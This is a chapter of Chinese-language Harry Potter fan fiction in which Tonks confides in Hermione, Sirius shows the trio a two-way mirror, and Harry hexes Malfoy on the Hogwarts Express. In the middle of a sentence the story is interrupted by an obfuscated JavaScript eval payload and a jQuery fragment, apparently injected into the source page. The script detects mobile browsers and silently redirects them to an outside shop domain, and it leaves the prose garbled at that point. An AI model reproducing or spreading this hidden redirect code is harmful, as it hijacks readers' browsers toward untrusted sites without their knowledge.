次日清晨,当赫敏和哈利一前一后拖着行李走下楼梯时,却发现餐厅里只有唐克斯一个人。她坐在餐桌旁,手肘撑在桌面上,发尾泛着暗淡的灰色。叉子被她拿在手中,正一下一下往餐盘中的烤肠上戳去。
“早上好。”赫敏说道。
唐克斯抬起眼皮扫了她一眼,无精打采地点了点头,就把目光重新放回了盘子里。她继续折磨起盘子里的食物来,可怜的吐司被她撕裂成大小不一的碎块。
赫敏和哈利对视了一眼——他们都不明白发生了什么,只好轻手轻脚地落了座。
赫敏扫了一眼墙上的时钟,眉头皱了起来。她凑到了哈利的耳边,压低声音说道:“小天狼星怎么还没起床?”她的语气变得紧迫起来,“我们还有二十分钟就要出发去车站了,但我们还没有把海德薇装进笼子里,箱子也没放到车子的后备箱,你的火弩箭还在楼上——”
这是赫敏陷入焦虑的前兆——哈利知道,如果等她把待办列表全部说完,下面就是爆发。哈利赶紧站了起来:“我上楼喊他。”他说着就转身往楼梯跑去,几秒就窜上了楼。
赫敏这才微微放松了心弦。哈利背影消失在楼梯口后,她的目光回到了餐桌上。她自然地拿起哈利的空盘子,往里夹起食物来——两块糖浆水果馅饼,两根烤肠还有一个煎蛋。将哈利的盘子摆好后,她才开始往自己的餐盘中添食物。
然而当她去够桌子另一端的吐司盘子时,却发现唐克斯还在那里戳着盘子里的食物——吐司和烤肠都已经千疮百孔,还散落了不少的碎屑。
赫敏咬了咬唇,放下手里的叉子。
犹豫了片刻后,她小声问道:“唐克斯……你还好吧?”
“不好!”唐克斯嘟囔了一声。
她看了赫敏一眼,眼角忽然有点泛红。她突然端起了自己的盘子,从对面挪到了赫敏旁边。
“我今天就要回傲罗办公室干活了,假期结束了。”她吸了一下鼻子,手无意识地摩着盘子的边缘,“但是莱姆斯还在躲着我。”
赫敏张了张嘴,不知道说什么。但唐克斯已经自顾自说了下去:“他自从那天和你们一起去了我家之后就一直躲着我——那天晚上他连晚安都没和我说,直接就上楼了。第二天开始就更明显了——他要不就是自己出去,我想跟着帮忙他就说不用;要不就是一直待在他的房间里,我敲门他就在里面说他要处理事情。他以前从来不这样的——他以前从来没有这样对我——”她又抽了抽鼻子,继续说道,“他甚至连今天的早餐都是不知道什么时候就提前做好的——我今天六点半就下来了,结果他根本不在这里,但是早餐全摆好了,就连保温咒都施好了。”
“你昨天买的袍子他也没收吗?”赫敏小声问她。
“没有,”唐克斯烦躁地抓了抓脑袋,“我放到他房间里了。结果今天早上这衣服就回到了我的卧室门口——他甚至连纸条都没留给我,就好像是我不小心放错了地方一样——”
她的头发越来越暗了,脸埋到了掌心里:“我以前总觉得他也是喜欢我的,只是因为——你知道的——他是……所以才不愿意靠近我……我总想着他总有一天会改变想法的。”
她把脸从掌心里抬了起来,声音却弱了下去:“但是现在我不确定了……这几天我总是想,究竟是不是我会错意了。他是不是根本就不喜欢我,他只是太温柔,太好了,对所有人都很好很温柔,对小天狼星,对你和哈利甚至陌生人都很好。他可能只是把我当成一个需要被照顾的,好朋友而已……”
赫敏垂了垂眼睫,抿住了嘴唇。
过了一会儿,她才重新看向唐克斯——这个女巫看起来还是很难过。赫敏犹豫了片刻后,默默伸出手,轻轻环住唐克斯的腰,安抚性地依靠在她的身上。
唐克斯也没有说话,只是轻轻把自己的手搭在了赫敏的胳膊上。
餐厅陷入一片沉默。
忽然,一声口哨打破了进来——
“用不着这么依依惜别,”小天狼星靠在了餐厅的门边上,怀里搂着克鲁克山大王。他笑嘻嘻地看向这两个抱在一处的女孩,挑着眉说道:“赫敏,你让唐克斯争取在三强争霸赛跑去霍格沃茨驻守——你们天天还能碰面。”
“三强争霸赛?”赫敏和哈利一齐叫道——一个惊讶,一个困惑。
“哎呀,”小天狼星笑了笑,把克鲁克山大王放到了桌上。猫大王开始用爪子扒拉起盘子里的烤肠,小天狼星却还靠在门边,故意用懒洋洋的语气说道:“我是不是应该早点告诉你们的?”
·
“我真不敢相信,小天狼星居然到今天才跟我们说!”一直到霍格沃茨特快列车上,赫敏还在喋喋不休。她把箱子用力塞到了行李架上的空位里,发出咚的一声闷响,“三强争霸赛!这么重要的事情!这么多天,他有无数的时间可以提前告诉我们,他偏偏要等到出发前才和我们说——”她坐到了哈利身边的空座上,继续念叨着:“这意味着我们接下来一整个学年的生活都会发生变化——课程安排可能会被调整,还会有外国学生来霍格沃茨——”
“到底什么是三强争霸赛?”罗恩才和他们碰面没多久,正坐在对面的座位上。这个红发男孩一脸困惑:“赫敏,你在说什么啊?什么外国学生,什么学校荣誉?”
赫敏不耐烦地咂了一下嘴:“《霍格沃茨:一段校史》里面说过,这是由欧洲三所最大的魔法学校——霍格沃茨、布斯巴顿和德姆斯特朗——联合创办的一种传统竞赛,每所学校选出来一个勇士,他们要比试三个项目——”
“这就是查理和比尔一直神神叨叨原因?”罗恩瞪大着眼睛插嘴进来,“他们一直不肯告诉我们,每次弗雷德和乔治旁敲侧击他们都一副装模作样的样子,说什么机密——爸爸妈妈也一直不愿意说——”
他话还没说完,行李架上忽然发出了一阵十分剧烈的动静——
原来猫头鹰朱薇琼·小猪一直在笼子里兴奋地蹦来蹦去,导致克鲁克山大王和海德薇女士对他发表了联合抗议。猫大王踱步过去,对着她示威性地挥了挥爪子,海德薇则是矜持地待在自己的笼子里,发出几声短促而严厉的咕咕声。不料朱薇琼·小猪反而受到了惊吓——她猛地撞到了笼子后壁上,发出了一阵连续的、极其尖锐的鸣叫声。
“够了,小猪!”罗恩急忙在自己的箱子里翻了翻,掏出一件酱紫色的、奇形怪状的衣服,就往朱薇琼·小猪的笼子上一盖,尖锐的猫头鹰叫声瞬间变得闷声闷气。
但哈利似乎完全没被这阵鸡飞狗跳的动静影响到,他正低着头,左右翻看着一面方方的、似乎颇有年代的小镜子——这是小天狼星在他上列车前塞给他的,却神神秘秘的没和他解释要怎么用。
“这是什么,哈利?”赫敏终于和罗恩解释完了三强争霸赛的基本情况,自然地凑到了他的身边。她靠上哈利的肩膀,也好奇地打量起这面小镜子来:“这就是小天狼星刚刚偷偷给你的东西?”
话音刚落,镜面忽然波动起来,如同被微风拂过,水纹一圈一圈四散而开。接着,水纹静止了,镜面变得极其清晰,一张英俊的大脸突然塞满了整个镜面——
小天狼星挑了挑眉,一副满意的神情:“你们这么快——就发现这个镜子的使用方法了?”
克鲁克山大王迅速地从行李架上跳了下来,落在了哈利的腿上。他伸出毛茸茸的爪子,扒拉着镜面上小天狼星的脸蛋,呼噜呼噜地叫着。罗恩也挤了过来,坐到了哈利的另一侧,把脸凑到了镜子前。
“我们不知道——但是刚刚喊了你的名字。”赫敏也凑近了过来,脑袋自然地挨上了哈利的脑袋,好奇的问道,“是这个原因吗?这个镜子是什么?上面施了什么魔咒吗?”
“是这个原因,聪明的小女巫。”小天狼星愉悦地看着他们,“这是双面镜,我以前和詹姆关禁闭的时候就经常拿这个交流——费尔奇以为把我们分开就能阻止我们密谋,但他显然不知道我们有这个秘密武器——他一直到我们毕业都想不通我和詹姆是怎么做到隔着五层楼同时闹出动静的。”
哈利不禁也微笑了,他能想象到那个画面——和自己相像的,属于父亲的面孔一边擦着奖杯,一边对镜子里年轻的小天狼星做鬼脸。他握着这面小镜子,看着这个同样英气勃发的、属于小天狼星的笑脸,只觉得心里暖洋洋的。他低声问道:“你现在到家了吗?”
“噢,那没有。”小天狼星轻快地说道。他把镜子调转了个方向,大片波动的云海瞬间充满了整个镜面。阳光在柔软蓬松的云朵上连绵地流淌,一直铺陈到天际。
“你在天上?真酷!”罗恩大声感叹,“你在开那辆红色跑车吗?弗雷德和乔治上次回来和我炫耀了好久——他们说特别酷,可以垂直升空还可以喷火焰——”
但与之一同响起的,是赫敏拔高音量的惊呼,她紧紧攥住了哈利的胳膊:“小天狼星!你怎么还在开车?那你根本就不应该理会这个双面镜的呼唤——你应该专心开车,如果有鸟飞过来怎么办,如果有飞机飞过来怎么办——”
“赫敏,别担心我,车上有防护魔法。”小天狼星愉快地打断了她。接着,他把镜子又掉调了个方向,对准了另一片飘逸的云朵。这片云不似刚刚的云海——它正缓缓流动着七彩的光芒,从浅粉到橘金,从鎏绿到蓝紫,绵密又柔软,像是彩虹融化在此处。云层随着微风的吹拂,还在不断地舞动,如同在跳一曲绚烂的舞蹈。小天狼星带着笑意的声音又传了过来:“你以前在车上都不敢往外看——现在看,这些云彩漂不漂亮?”
赫敏忽然不吱声了,哈利却无声地笑了笑。
罗恩兴奋地插嘴了进来:“我之前开我们家那辆麻瓜汽车的时候也开过这么高——哈利有没有和你说我们前年就是开那辆车去霍格沃茨的?我们开了好几个钟头,从伦敦一直飞到霍格沃茨,在云层里面转来转去,特别刺激,最后还差点被打人柳拍到了地上——那棵树的脾气真是差,当时我们还被麻瓜看到了,上了新闻——”
“好小子!”小天狼星把镜面转回来对准自己,脸上的笑容十分灿烂,“当年詹姆和我也骑着扫帚从霍格沃茨里偷跑出去过——我们当时穿着隐身衣,一路飞到霍格莫德都没人发现——”
三个男孩通过双面镜聊了好长时间——小天狼星兴致勃勃地讲着他当年是怎么和其他两个掠夺者大闹霍格沃茨的——他们怎么在半夜出来和斯莱特林打架,却意外发现了女巫雕像的密道;他们怎么和皮皮鬼斗智斗勇,最后研究出专门针对他的友好咒语……哈利兴奋地听着,不时询问一些细节;罗恩则时不时讲几个自己和弗雷德、乔治的恶作剧斗智斗勇的笑话。赫敏居然破天荒地没打断他们——她安静地坐在一旁,手里翻着一本咒语大全,翻页的速度却比平常慢很多,嘴角微微翘着。猫大王不知道什么时候爬回了架子上,舒适地卧倒在软垫里。
火车不断向北行驶,窗外的雨下得越来越大,发出密集地淅沥声。天光暗淡了下来,车厢里点起了灯笼。
就在小天狼星讲到他和詹姆有一次把两个斯莱特林的学生骗到空教室里,又往里面丢了个博格特的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773445|207424||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候,车厢外忽然传来了敲门声。哈利赶紧把双面镜塞到了口袋里,按了按确定放稳了,这才意犹未尽地抬起了头。
“哗”的一声,车厢门被拉开了。来者是拉文德和帕瓦蒂。
帕瓦蒂皱着眉打量着车厢内的三人,拉文德却开心地和他们挥了挥手。她拽着一脸不情愿的帕瓦蒂就走了进来,直接在三人对面的空座上落座,问道:“你们刚刚在聊什么?我们在走廊里就听见了好大的笑声。”
“没什么,”哈利说道,脸上还带着一丝微笑,“一些恶作剧。”
“好吧,”拉文德说道,她的蓝眼睛四处转动着,忽然瞥见了朱薇琼·小猪笼子上盖着的酱紫色衣服,又好奇地问道:“这是什么?”
她看见那上面镶嵌着荷叶边,刚想拿起来仔细看看,却被罗恩先一步抢了过去。“没什么。”这个红发男孩涨红了脸,把这件衣服团成一团,以迅雷不及掩耳的速度塞进了箱子里,接着啪的一声就合上了箱盖。
拉文德扁了扁嘴,刚要追问那件衣服到底是怎么回事的时候,却忽然被打断了——
哗的一声,车厢门又被拉开了。
西莫、迪安和纳威出现在了门口。
三个男孩扫了几乎满满当当的车厢一眼,却还是挨个儿挤了进来。西莫和迪安走到了车厢窗边站着。纳威犹豫了片刻,最终在帕瓦蒂身边的空位上小心翼翼地坐下了。
西莫率先开口了,语气十分关切:“哈利,你真的被黑巫师攻击了吗?我妈妈看到报纸后一直在念叨你,她让我带了三大包点心——我到宿舍就分给你。”
“是的。”哈利回答。但在注意到这三个男孩脸上惊恐的神情后,他赶紧补充道:“没什么事——我不还是好好的吗?”他尽量让自己的表情显得轻松。
“那天晚上这真够恐怖的,不是吗?”迪安感叹道,“我和西莫一直在往林子里跑——我们本来一直在庆祝爱尔兰帐篷营地的中央庆祝胜利,从听到尖叫就开始跑。我的鞋还掉了一只,差点摔在地上,还好西莫一直拉着我——”
“还好我没去,”纳威小声说道,“奶奶一直不肯买票。”
“但是比赛也够精彩的!”罗恩说道,他兴高采烈地比划着,“爱尔兰队的追球手都特别出色,克鲁姆的朗斯基假动作也超级厉害,而且他本人和招贴画上一样帅——我亲眼见到他了,就在顶层包厢——”
“你这辈子也就这一次了,韦斯莱。”一个不和谐的声音突然打断了进来。
德拉科·马尔福不知什么时候出现在了车厢门口,身后站着克拉布和高尔。
马尔福显然在包厢外听到了他们的对话,他的目光越过愤愤的罗恩,径直落在了哈利和赫敏的身上。他高昂着下巴,用一种傲慢的口吻说道:“显然那个巫师还是手下留情了,不是吗?要不然你们怎么还能好端端地坐在这里?”克拉布和高尔发出了嘿嘿的傻笑声。
马尔福得意洋洋地看着赫敏,继续慢条斯理地说道:“格兰杰,我早说过他们的目标就是你——”
“走开,马尔福。我们没有邀请你。”哈利冷冷地说道。
但马尔福只是嗤笑了一声,把目光定到了他的身上。他轻蔑的说道:“怎么了?我们的救世主要开始给大家表现你和格兰杰深刻的纽带,传奇的感情了?”
他的语气变得十分嘲讽,一字一顿地继续说道,“混血救世主和泥巴种,多么般配的一对情侣啊——”
“不许这样说赫敏!”哈利腾地站了起来。他以迅雷不及掩耳的速度掏出魔杖,用力一甩——
下一秒,马尔福就被倒挂在了列车走廊上。他的脚踝像是被看不见的绳子吊在了天花板上,整个人头朝下悬在半空中,两个胳膊慌乱地挥舞着。长长的袍子下摆盖在了他的脸上,随着他的扭动剧烈地扑腾起伏。克拉布和高尔完全被吓傻了——他们往后退了两步,撞到了对面的车厢门上,发出一阵沉闷的巨响。
车厢里几乎所有人都在目瞪口呆地看着这一幕。纳威的嘴巴张得老大,帕瓦蒂用手捂住了嘴,西莫和迪安的眼睛都瞪得圆溜溜的。但拉文德不同——这个女孩捧着红扑扑的脸蛋,兴奋的目光在哈利和赫敏之间来回打转,一双蓝眼睛亮璨若星。
但哈利只是轻轻把车厢门合上,就重新坐回了座位上。
“那是什么魔咒?”罗恩扯了扯他的袖子,脸上满是不可置信,“兄弟,你什么时候学会的?”
“倒挂金钟。”哈利把魔杖放回口袋里,颇有些自豪地回答道,“是小天狼星教我的。”
“太酷了,兄弟!”罗恩兴奋地把他的肩膀拍得梆梆响,他把脑袋转向众人:“你们看见马尔福刚刚那个表情了吗——哦不,看不到表情,他的头发和袍子盖在一起就像一个跳舞的拖把——”他兴高采烈地回味着:“德拉科·马尔福,那把不同寻常的大拖把,跳啊跳啊跳——”他一边说着一边站起来,两只手在头上挥来挥去。
众人哈哈大笑,几乎把窗户都震得发抖。
西莫意犹未尽地对着哈利说道:“你能不能教我这个咒语,哈利——我下次对着挑事的斯莱特林试试,说不定能做个爆炸在天花板上的拖把呢——”
一片欢声笑语中,罗恩又坐回了座位上,却还在用手扑腾着比划模仿马尔福;拉文德咯咯笑着观赏罗恩的表演,帕瓦蒂一脸无奈的神情;西莫和迪安则靠在窗边,兴致勃勃地讨论怎么在礼堂里捉弄斯莱特林……
时间不知过了多久,车身逐渐减慢了速度。
伴随着一声悠扬的汽笛,列车到站了。